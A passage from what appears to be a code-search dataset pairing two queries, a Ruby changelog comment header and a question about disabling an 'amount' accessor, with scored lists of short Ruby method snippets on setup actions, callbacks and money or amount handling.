actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
43969b31687f2419153237f457db25a1
Version: 1.0 Date: 06 Jul 2016 Updated at | Update by 07 Jul 2016 | Mario Perez 09 Jul 2016 | Paola Munoz
[ { "docid": "93093b9a66e4659373185010c71191f0", "score": "0.0", "text": "def tableGrid\n\t@tableGrid ||=TableGrid.new\nend", "title": "" } ]
[ { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64217323", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64217323", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64217323", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64217323", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64217323", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.64217323", "text": "def bodystmt; end", "title": "" }, { "docid": "563c62b62fd579737ee9c1a7b4dc1e83", "score": "0.6213653", "text": "def changes; end", "title": "" }, { "docid": "b7cfdec5315b5d3c26b002081b1dbae3", "score": "0.6186019", "text": "def coming_soon; end", "title": "" }, { "docid": "a9dd648a5d0d2e7d56223e7c753f5e2e", "score": "0.618533", "text": "def telegraphical()\n end", "title": "" }, { "docid": "5a848e1a78e814f4addafb82445f2b93", "score": "0.61326486", "text": "def version; 1; end", "title": "" }, { "docid": "5a848e1a78e814f4addafb82445f2b93", "score": "0.61326486", "text": "def version; 1; end", "title": "" }, { "docid": "5a848e1a78e814f4addafb82445f2b93", "score": "0.61326486", "text": "def version; 1; end", "title": "" }, { "docid": "5a848e1a78e814f4addafb82445f2b93", "score": "0.61326486", "text": "def version; 1; end", "title": "" }, { "docid": "5a848e1a78e814f4addafb82445f2b93", "score": "0.61326486", "text": "def version; 1; end", "title": "" }, { "docid": "b7567a2a68cade31f2360723a4c42dc7", "score": "0.6037332", "text": "def used_by; end", "title": "" }, { "docid": "b6b2bcc0062aeb115edab7b10cbe6930", "score": "0.5966011", "text": "def desired; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "41de0d9efb42153ab12adf4dad158176", "score": "0.5936418", "text": "def version; end", "title": "" }, { "docid": "04e074efc99de627ea58633a58870ec3", "score": "0.59340984", "text": "def stpreason\n end", "title": "" }, { "docid": "e8162bdfcee3b63a347a13fd97fe59ef", "score": "0.59158987", "text": "def ver_retiros\n end", "title": "" }, { "docid": "e8162bdfcee3b63a347a13fd97fe59ef", "score": "0.59158987", "text": "def ver_retiros\n end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.59105223", "text": "def used; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.59105223", "text": "def used; end", "title": "" }, { "docid": "ebab568ffcf305c876a5e7983708cbb8", "score": "0.58893394", "text": "def outdated; end", "title": "" }, { "docid": "4d686c1d150177c2516de78ca6a67586", "score": "0.5825451", "text": "def data_version; end", "title": "" }, { "docid": "6b36ed13bd965c436b61ca68e369bd9c", "score": "0.5795211", "text": "def old; end", "title": "" }, { "docid": "9c014c4a21c67668755db7318039e86d", "score": "0.5788434", "text": "def valedictorian\n end", "title": "" }, { "docid": "c8216d758c47c5c1acf2dd26692ffe03", "score": "0.5728632", "text": "def purpose; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.57103705", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.57103705", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.57103705", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.57103705", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.57103705", "text": "def implementation; end", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.56587905", "text": "def operations; end", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.56587905", "text": "def operations; end", "title": "" }, { "docid": "3ae137b1a40ff3aae4f3cbb2b6082797", "score": "0.5657312", "text": "def reaper; end", "title": "" }, { "docid": "58e2e07d11b107b6864a328f2187e248", "score": "0.564512", "text": "def apop?; end", "title": "" }, { "docid": "a7738fc66213d5de1f88b2de13a0479d", "score": "0.5631446", "text": "def entry_order; end", "title": "" }, { "docid": "7db0727baf89eb76beac27c515d7fe32", "score": "0.562757", "text": "def support; end", "title": "" }, { "docid": "3bbf27ef43a6153115f56b59566fb7da", "score": "0.56233376", "text": "def last_fixed; end", "title": "" }, { "docid": "dff37ea0d68b9c86bab1ceb2dfb658a9", "score": "0.56190646", "text": "def rc; end", "title": "" }, { "docid": "7ec57c3874853e50086febdbdd3221bf", "score": "0.5600657", "text": "def wedding; end", "title": "" }, { "docid": "a80840adeb3feae4c65a5fa6ffb79445", "score": "0.5593406", "text": "def po; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.55859166", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.55859166", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.55859166", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.55859166", "text": "def meta; end", "title": "" }, { "docid": "065bf3cbdad8e482de8b92d4d027681c", "score": "0.55859166", "text": "def meta; end", "title": "" }, { "docid": "7477f36427db1eed71e3d1fe5ae5eb83", "score": "0.5583762", "text": "def manuver\n\tend", "title": "" }, { "docid": "baabe5bb658b17a85353fb66fdbbf873", "score": "0.55815053", "text": "def extended; end", "title": "" }, { "docid": "e44ae2cef169d29f78b2b6306add59da", "score": "0.55686456", "text": "def huddlingly()\n end", "title": "" }, { "docid": "45a6a5f5f02a4a2dbf1941f532a11450", "score": "0.55451876", "text": "def metadata; end", "title": "" }, { "docid": "45a6a5f5f02a4a2dbf1941f532a11450", "score": "0.55451876", "text": "def metadata; end", "title": "" }, { "docid": "45a6a5f5f02a4a2dbf1941f532a11450", "score": "0.55451876", "text": "def metadata; end", "title": "" }, { "docid": "45a6a5f5f02a4a2dbf1941f532a11450", "score": "0.55451876", "text": "def metadata; end", "title": "" }, { "docid": "45a6a5f5f02a4a2dbf1941f532a11450", "score": "0.55451876", "text": "def metadata; end", "title": "" } ]
914b183d7aa0fc8e989bdd6c73a4bd77
Should we disable the "amount" accessor? Is there a clean way to do that?
[ { "docid": "0d597ef56b117249b3555ae269e9b9d3", "score": "0.0", "text": "def outstanding_payments\n payer_payments.select { |pp| !pp.paid_up? }\n end", "title": "" } ]
[ { "docid": "75b843ae1937655944f7d3674d087101", "score": "0.76953727", "text": "def original_amount() nil end", "title": "" }, { "docid": "86ceb2f8826169bb435b0970a18e9db3", "score": "0.7492788", "text": "def amount\n nil\n end", "title": "" }, { "docid": "b843ec331a223846742c56d42866ec94", "score": "0.72244394", "text": "def get_amount\n @amount\n end", "title": "" }, { "docid": "1d4175f8de1f82d74b2cf10f6f0a5614", "score": "0.7163534", "text": "def amount\n @amount\n end", "title": "" }, { "docid": "022298d80cd99b52d5b2caf4b0e861bd", "score": "0.7142098", "text": "def amount\n paid_amount || base_amount\n end", "title": "" }, { "docid": "76f1237935b4c316cce5c4b7dc96a785", "score": "0.70341563", "text": "def amount\n object.amount if object.on_saling?\n end", "title": "" }, { "docid": "3eca18517d7a12b1d4f2ac029cd23b66", "score": "0.6943002", "text": "def amount\n @amount\n end", "title": "" }, { "docid": "0537e1edd1edc03b9a1888ba61f74e07", "score": "0.6905085", "text": "def amount_raw\n\t\tself[:amount]\n\tend", "title": "" }, { "docid": "0537e1edd1edc03b9a1888ba61f74e07", "score": "0.6905085", "text": "def amount_raw\n\t\tself[:amount]\n\tend", "title": "" }, { "docid": "833a999a82b5895315a21aae90b84eb5", "score": "0.68934464", "text": "def amount\n read_attribute(:amount) / 100.to_f if read_attribute(:amount)\n end", "title": "" }, { "docid": "c821315fa17422450bf04bba4d44fe91", "score": "0.68708485", "text": "def amountGet\n @amount\n end", "title": "" }, { "docid": "aec44ebd1295d53003edf93c72968291", "score": "0.6837437", "text": "def money_amount\n super.zero? ? nil : super.cost\n end", "title": "" }, { "docid": "0e6bdaf6d1ad77732f682242249fd195", "score": "0.6837162", "text": "def amount #we want to present this ammount in dollars\n #but we won't want to shere this info to usser, on how info is stored\n #by this design we can change this, and we wont run into problems\n @amount / 100\n end", "title": "" }, { "docid": "4877d11c863491e37771ccd63c3a2e30", "score": "0.6825636", "text": "def raw_amount\n @amount\n end", "title": "" }, { "docid": "749837e381781d1158a3a89f3bd88044", "score": "0.6809343", "text": "def net_price_excluded\n price * amount\n end", "title": "" }, { "docid": "b8501fc8b2c1227d2a861ad4446732f3", "score": "0.6793818", "text": "def amount\n self.net_amount\n end", "title": "" }, { "docid": "dc95dfb674920790898fd7179acb22c9", "score": "0.67117196", "text": "def amount=(new_amount) \n new_amount > 0 ? super(-new_amount) : super(new_amount)\n end", "title": "" }, { "docid": "5532867fb97f293f6f40f87cdcf1e25f", "score": "0.66801643", "text": "def integer_amount\n read_attribute(:amount)\n end", "title": "" }, { "docid": "45a9de1209727a060e60ec0f5c1df22a", "score": "0.66421014", "text": "def set_amount\n self.amount = Integer(amount_decimal * 100)\n end", "title": "" }, { "docid": "dc1607e84398f6e48f6926bb7b61b8b0", "score": "0.6588186", "text": "def amount= value\n raw_write_attribute(:amount, value)\n end", "title": "" }, { "docid": "c46b78b583fa7321c3575c85154bba3e", "score": "0.6541589", "text": "def amount\n number_with_precision(object.amount, precision: 2)\n end", "title": "" }, { "docid": "073bc6e881d5b3b65f34c2ac46694f74", "score": "0.65395886", "text": "def set_amounts\n super\n self.check_paid\n paid_amount_will_change!\n nil\n end", "title": "" }, { "docid": "f4f581a27c2ed6e9abe2b733cb0c9630", "score": "0.6527142", "text": "def amount\n self.net_amount+self.taxes_amount\n end", "title": "" }, { "docid": "bd010ae1465ded8c00aa4e7b53824e32", "score": "0.64801186", "text": "def amount\n @attributes[:amount]\n end", "title": "" }, { "docid": "bd010ae1465ded8c00aa4e7b53824e32", "score": "0.64801186", "text": "def amount\n @attributes[:amount]\n end", "title": "" }, { "docid": "bd010ae1465ded8c00aa4e7b53824e32", "score": "0.64801186", "text": "def amount\n @attributes[:amount]\n end", "title": "" }, { "docid": "bd010ae1465ded8c00aa4e7b53824e32", "score": "0.64801186", "text": "def amount\n @attributes[:amount]\n end", "title": "" }, { "docid": "1099f1a2c43d30a0f55abde4987cc3cb", "score": "0.6473643", "text": "def negateAmount\n if self.paymentType == \"REVERSAL\"\n if self.manualPayment\n self.amount = -self.amount.to_f.abs\n else\n self.amount = -self.amount.to_i.abs\n end\n end\n end", "title": "" }, { "docid": "e27ce2583d0137e44570cb032330501e", "score": "0.64684755", "text": "def amount\n to_d\n end", "title": "" }, { "docid": "8cff282e16f28d69b50da7314b538236", "score": "0.64643085", "text": "def amount=(amount)\n write_attribute(:amount, amount ? (amount*100).round : nil) # Some very strange rounding errors happen if\n end", "title": "" }, { "docid": "6770176c9a2d9edd4e7d04d13df80074", "score": "0.6463861", "text": "def amount=(val)\n\t\tsuper val.to_f * 100\n\tend", "title": "" }, { "docid": "aa45139a8ece96bfb34b0825906518a2", "score": "0.64635617", "text": "def amount\n @amount || get_random_amount\n end", "title": "" }, { "docid": "b288125f4f9fb5e1de77b108a36f334a", "score": "0.6439844", "text": "def price\n -discount_amount\n end", "title": "" }, { "docid": "e9db552b67b17359d8563e86637a5f12", "score": "0.6434772", "text": "def money\n 0\n end", "title": "" }, { "docid": "445206805ddddfc7d2ce5682a5b3d702", "score": "0.6421873", "text": "def unpaid_amount\n gross_amount - paid_amount\n end", "title": "" }, { "docid": "7175d0b0972fa84d6b12afb1c0e00c74", "score": "0.6418405", "text": "def amount\n Money.new read_attribute(:amount), currency\n end", "title": "" }, { "docid": "76dfc42c3d13caff6e134f95882a140a", "score": "0.64153147", "text": "def spend=(amount)\n super(strip_non_decimal(amount))\n end", "title": "" }, { "docid": "625e0bd28979cd50a6e0455eb66e3645", "score": "0.6409098", "text": "def total_amount\n \t@@total_amount\n end", "title": "" }, { "docid": "4a8d5e44ffa78d70bd216560ecf23cc4", "score": "0.6403351", "text": "def amount=(amount)\n if amount.is_a?(Money)\n self[:amount] = amount.to_d\n else\n self[:amount] = amount\n end\n end", "title": "" }, { "docid": "7551e87c95591adba1da8b561fd5ea07", "score": "0.64000446", "text": "def price\n amount\n end", "title": "" }, { "docid": "2d51e7dbaee7076ba2feb0fb9956d7d0", "score": "0.6386349", "text": "def amountSet=(value)\n @amount = value\n end", "title": "" }, { "docid": "a41fb29f4652ad8fe1f496c5a73f0cff", "score": "0.6368655", "text": "def total_money\n self\n end", "title": "" }, { "docid": "6505ea2e24c0f3921e8b8a29021ea1b9", "score": "0.6351536", "text": "def charge_amount\n 0\n end", "title": "" }, { "docid": "d9514a6ae587125d7fa6671540fd465a", "score": "0.6310599", "text": "def amount=(val)\n self.cents = val ? (val * 100).to_i : nil\n end", "title": "" }, { "docid": "90d0f756a764df977a92e8e351c721e6", "score": "0.6305315", "text": "def get_payment_amount\n self.amount.to_i\n end", "title": "" }, { "docid": "89b53be2ccbeccf521a043c888afb690", "score": "0.6299281", "text": "def set_amount\n self.amount = quantity * offer.price\n end", "title": "" }, { "docid": "fbe2b00fda43f95c38cccc50c6021108", "score": "0.62825084", "text": "def allowed_amount(*options)\n\t\t\tactual_allowed_amount\n\t\tend", "title": "" }, { "docid": "064c3c784875906812c91ff363d9b42a", "score": "0.6278142", "text": "def amount\n @data[:amount]\n end", "title": "" }, { "docid": "064c3c784875906812c91ff363d9b42a", "score": "0.6278142", "text": "def amount\n @data[:amount]\n end", "title": "" }, { "docid": "06dc97b7b8c681b1fffa643f050a534e", "score": "0.62746245", "text": "def amount=(value) # :nodoc:\n super(value.instance_of?(String) ? value.gsub(/,/, '') : value)\n end", "title": "" }, { "docid": "aa1b0b4cef14af5862d62b07ba6abe60", "score": "0.62645376", "text": "def amount=(new_amount)\n new_amount = new_amount.gsub(/[^0-9.]/i, '') unless new_amount.is_a?(Numeric)\n self[:amount] = new_amount\n end", "title": "" }, { "docid": "00191287b7b30ceec1f4655387413142", "score": "0.6257296", "text": "def sugar_amount\n @sugar_amount\n end", "title": "" }, { "docid": "00191287b7b30ceec1f4655387413142", "score": "0.6257296", "text": "def sugar_amount\n @sugar_amount\n end", "title": "" }, { "docid": "fe943a89563e7b7bfd86c61154c0ea0d", "score": "0.62429154", "text": "def amount\n attributes['amount'].to_f\n end", "title": "" }, { "docid": "ecde70c293168a9202323ac51bb457b2", "score": "0.623179", "text": "def amount\n self.net_amount\n end", "title": "" }, { "docid": "b9f8191201a84b2c26c59732728a823b", "score": "0.62051004", "text": "def check_amount\n #How will check amount be used? For printing or calculation?\n @check_amount.get_value\n end", "title": "" }, { "docid": "c1a78e7386cf29fbf81b0adc33949347", "score": "0.6174097", "text": "def envisage_price\n 0\n end", "title": "" }, { "docid": "8e3d0f369970993c4a148f4be9670926", "score": "0.61698073", "text": "def amount\n debit\n end", "title": "" }, { "docid": "135317a940a76e61da69fa83f945d166", "score": "0.6168194", "text": "def amount_off\n format_amount(raw_amount_off)\n end", "title": "" }, { "docid": "51af85fe955babe6648e07838c9afbad", "score": "0.61680007", "text": "def price\n amount\n end", "title": "" }, { "docid": "8a909016ff3c1bf9629da34a305b0c53", "score": "0.6163272", "text": "def amount_due\n currency super\n end", "title": "" }, { "docid": "5c7eadb8953c0c316dbdaedf7e8fd75a", "score": "0.6148952", "text": "def amount\n data[:amount]\n end", "title": "" }, { "docid": "f6216d848a2c1892c1c5454470b5aa31", "score": "0.6143206", "text": "def deprecated_evl_amount\n commodity_rows.locked.sum(:amount)\n end", "title": "" }, { "docid": "96c418150ea1b1d5c097249fca60caeb", "score": "0.6139717", "text": "def amount\n\t\tActionController::Base.helpers.number_to_currency(self[:amount])\n\tend", "title": "" }, { "docid": "96c418150ea1b1d5c097249fca60caeb", "score": "0.6139717", "text": "def amount\n\t\tActionController::Base.helpers.number_to_currency(self[:amount])\n\tend", "title": "" }, { "docid": "54bd79e42ca3ef65cd3d6785441fafa1", "score": "0.613691", "text": "def payment_amount\n amount - tax\n end", "title": "" }, { "docid": "452c89ee08834c11b1fd4d8b38c0fe68", "score": "0.61327046", "text": "def base_amount\n object.base_amount.to_f\n end", "title": "" }, { "docid": "f58b9b6cc26aba1b548309937712ad50", "score": "0.6130367", "text": "def -@\n Money.new(-@amount, :currency => @currency, :suffixed => @suffixed)\n end", "title": "" }, { "docid": "b7f68ac7019655b637c8fa485fb403b7", "score": "0.6128661", "text": "def attr_money\n { amount_cents: 'Importe' }\n end", "title": "" }, { "docid": "bda85da1ff15d334bc760461104ba1d3", "score": "0.61286473", "text": "def extra_amount=(extra_amount)\n @extra_amount = extra_amount.to_f\n end", "title": "" }, { "docid": "828a7fce21ba330d678661f7d58dc133", "score": "0.612854", "text": "def min; @amounts; end", "title": "" }, { "docid": "593aecefe5f42e5ec1c306c6b5731e03", "score": "0.6123461", "text": "def getMoney\n @money\n end", "title": "" }, { "docid": "78ee80a6349fe4c67c0756c1658f7033", "score": "0.61168", "text": "def record_amount\n if self.transaction_type_id == \"1\"\n self.amount = trash_details.reject(&:marked_for_destruction?).sum(&:total_price)\n end\n end", "title": "" }, { "docid": "38752d8eb6b3a1df3e017bfe29b855c2", "score": "0.61117023", "text": "def attr_money\n {\n retained_taxes_total_cents: 'TotalImpuestosRetenidos',\n transferred_taxes_total_cents: 'TotalImpuestosTrasladados'\n }\n end", "title": "" }, { "docid": "2943239e6b78d4b9c8c62f59bbd5f714", "score": "0.6110373", "text": "def total\n amount\n end", "title": "" }, { "docid": "2943239e6b78d4b9c8c62f59bbd5f714", "score": "0.6110373", "text": "def total\n amount\n end", "title": "" }, { "docid": "9fc678a8ee2464efce1dd671a651a225", "score": "0.61030596", "text": "def amount=(value)\n @amount = value.to_d\n end", "title": "" }, { "docid": "4a67824d18e5a78a6d483c5e4f66604d", "score": "0.6091526", "text": "def amount\n format_amount(@amount)\n end", "title": "" }, { "docid": "7074e2de9bd13267f6119a9475a831e0", "score": "0.608625", "text": "def total=(value)\n self[:amount] = value\n end", "title": "" }, { "docid": "e128d01e54af97fef68b0c5fa9c3e10b", "score": "0.60829073", "text": "def amount\n return \"#{self.value_num / self.value_denom}.#{self.value_num % self.value_denom}\"\n end", "title": "" }, { "docid": "3b10e3be3acbf2ce90e495231f3d7274", "score": "0.6080903", "text": "def price\n @amount * self.class.rate\n end", "title": "" }, { "docid": "b30cc594a81a92ab5e03657560f12dd9", "score": "0.6066374", "text": "def attr_money(*args)\n opt = args.last.is_a?(Hash) ? args.pop : {}\n opt = {method_suffix:'money', precision:2}.merge(opt)\n args << opt\n attr_fixed(*args)\n end", "title": "" }, { "docid": "c7808194079ed89ef7cb08dab7d01794", "score": "0.6058525", "text": "def get_money\r\n return @money\r\n end", "title": "" }, { "docid": "d74b2353b1cfa8eda4653276b5833a11", "score": "0.6052793", "text": "def investment\n @amount\n end", "title": "" }, { "docid": "15d3951e1bc6a7b7281621e082754f33", "score": "0.605101", "text": "def non_negative_amount\n errors[:amount] << \"cannot be negative\" unless amount >= 0\n end", "title": "" }, { "docid": "e8b2e9dd619c55d893dcc5dbc070c07d", "score": "0.60378414", "text": "def net_amount; debit; end", "title": "" }, { "docid": "f71df1d572368da45762e77aa4a2ce96", "score": "0.6033672", "text": "def gross_transfer_amount\n self.transfer_amount\n end", "title": "" }, { "docid": "2ec0d26870482220054facdd19360fe5", "score": "0.60262585", "text": "def price(amount = nil)\r\n return @price unless amount\r\n @price = amount\r\n self\r\n end", "title": "" }, { "docid": "98c05e765f73b456b74f5c2cb0ad94bc", "score": "0.6013575", "text": "def amount_formatted\n amount_formatted_with_decimal\n end", "title": "" }, { "docid": "9062423f09a3b40793a5972157587305", "score": "0.6013188", "text": "def neo_asset_get_amount\n raise NotImplementedError\n end", "title": "" }, { "docid": "77ab3ef8373108d800186cbecb375a15", "score": "0.60120136", "text": "def taxable_amount\n taxable_amount = 0 \n taxable_amount = taxable_amount + self.amount if self.amount\n taxable_amount = taxable_amount + 